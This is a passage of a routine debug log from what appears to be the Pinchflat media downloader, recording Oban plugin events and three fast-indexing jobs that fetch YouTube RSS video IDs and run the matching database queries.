= true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 14:03:49.669 [debug] QUERY OK source="tasks" db=0.0ms idle=9.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:03:49.669 [info] Sent 200 in 15ms 14:03:56.860 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.585 [info] {"source":"oban","duration":125,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:04:26.861 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:56.862 [info] {"source":"oban","duration":410,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.587 [info] {"source":"oban","duration":258,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:05:26.863 [info] {"source":"oban","duration":352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:56.864 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.587 [info] {"source":"oban","duration":165,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:06:26.865 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:56.866 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.588 [info] {"source":"oban","duration":138,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:07:26.867 [info] {"source":"oban","duration":479,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:56.868 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.590 [info] {"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:08:26.869 [info] {"source":"oban","duration":351,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:56.870 [info] {"source":"oban","duration":405,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.590 [info] {"source":"oban","duration":140,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:09:26.871 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:56.872 [info] {"source":"oban","duration":517,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.591 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:10:26.873 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:46.086 [info] {"args":{"id":2},"id":663,"meta":{},"system_time":1784902246086366270,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:10:46.089 [debug] QUERY OK source="sources" db=2.7ms queue=0.1ms idle=1310.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:10:46.089 [debug] QUERY OK source="tasks" db=2.9ms idle=1310.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:10:46.089 [debug] QUERY OK source="settings" db=0.2ms idle=1010.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:10:46.089 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:10:46.090 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:10:46.090 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 14:10:46.090 [debug] QUERY OK source="sources" db=0.8ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 14:10:46.339 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:10:46.340 [debug] QUERY OK source="media_items" db=0.2ms idle=250.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 14:10:46.340 [debug] QUERY OK source="media_items" db=0.2ms idle=250.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 14:10:46.341 [debug] QUERY OK source="tasks" db=0.1ms idle=251.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [666, 2, ~U[2026-07-24 14:10:46Z], ~U[2026-07-24 14:10:46Z]] 14:10:46.341 [info] {"args":{"id":2},"id":663,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":255250,"event":"job:stop","queue_time":497301,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:10:46.342 [debug] QUERY OK source="tasks" db=0.1ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:10:56.875 [info] {"source":"oban","duration":412,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.100 [info] {"args":{"id":1},"id":664,"meta":{},"system_time":1784902260100378086,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:11:00.100 [debug] QUERY OK source="sources" db=0.3ms idle=324.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:11:00.101 [debug] QUERY OK source="tasks" db=0.5ms idle=324.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:11:00.101 [debug] QUERY OK source="settings" db=0.1ms idle=325.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:11:00.101 [debug] QUERY OK source="media_profiles" db=0.2ms idle=0.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:11:00.101 [debug] QUERY OK source="sources" db=0.2ms idle=6.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 14:11:00.101 [debug] QUERY OK source="settings" db=0.1ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:11:00.101 [debug] Fetching recent media IDs from YouTube RSS feed for source: UC6tUZA7GiIZPaUu4FQXnFYA 14:11:00.173 [debug] Media ids fetched from RSS: ["r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:11:00.174 [debug] QUERY OK source="media_items" db=0.2ms idle=72.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [1, "r0ZP1ULJLyg", "WDhmQAh9Hz8", "L0U5Z-ihSS4", "hnHlxRgp620", "hfD_nz3K5X8", "8v0Bf6jMuiA", "vkAokHH-Mmg", "5XApQHjUtf0", "e61AEeaNJXU", "_fa1aM6b9k8", "4wRhOSXIOnc", "H-2e99peqJM", "J1tZAMAx0Fw", "6BfEIaV1Igs", "mmoy47ltRAs"] 14:11:00.176 [debug] QUERY OK source="media_items" db=2.2ms idle=73.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 14:11:00.177 [debug] QUERY OK source="tasks" db=0.0ms idle=75.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [667, 1, ~U[2026-07-24 14:11:00Z], ~U[2026-07-24 14:11:00Z]] 14:11:00.177 [info] {"args":{"id":1},"id":664,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":77000,"event":"job:stop","queue_time":580419,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:11:00.178 [debug] QUERY OK source="tasks" db=0.3ms idle=0.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:11:00.592 [info] {"source":"oban","duration":130,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 14:11:15.115 [info] {"args":{"id":3},"id":665,"meta":{},"system_time":1784902275115357068,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:11:15.115 [debug] QUERY OK source="sources" db=0.1ms queue=0.1ms idle=1339.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:11:15.116 [debug] QUERY OK source="tasks" db=0.3ms idle=1339.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:11:15.116 [debug] QUERY OK source="settings" db=0.2ms idle=1007.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:11:15.116 [debug] QUERY OK source="sources" db=0.1ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 14:11:15.116 [debug] QUERY OK source="media_profiles" db=0.3ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 14:11:15.116 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 14:11:15.116 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 14:11:15.297 [debug] Media ids fetched from RSS: ["vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:11:15.298 [debug] QUERY OK source="media_items" db=0.3ms idle=181.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [3, "vg009pFTlhA", "QFGzMcycORQ", "pOhbslrQyHk", "zq4-pEaWvy8", "Yj99ygvEsDY", "GfIy-aj10LA", "bqxEUQN02IA", "gHwivWdndzM", "Qj9k0v7P1XM", "n3H5t7DzFQU", "TlKjsdzlVzA", "Tg_-z5ls4MU", "YCuqoByWlC4", "khE1axD_m8I", "HY54S4JyhNY"] 14:11:15.300 [debug] QUERY OK source="media_items" db=1.8ms idle=182.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [3] 14:11:15.581 [debug] QUERY OK source="tasks" db=49.9ms idle=414.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [668, 3, ~U[2026-07-24 14:11:15Z], ~U[2026-07-24 14:11:15Z]] 14:11:15.581 [info] {"args":{"id":3},"id":665,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":466334,"event":"job:stop","queue_time":593245,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 14:11:15.582 [debug] QUERY OK source="tasks" db=0.2ms idle=281.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 14:11:26.876 [info] 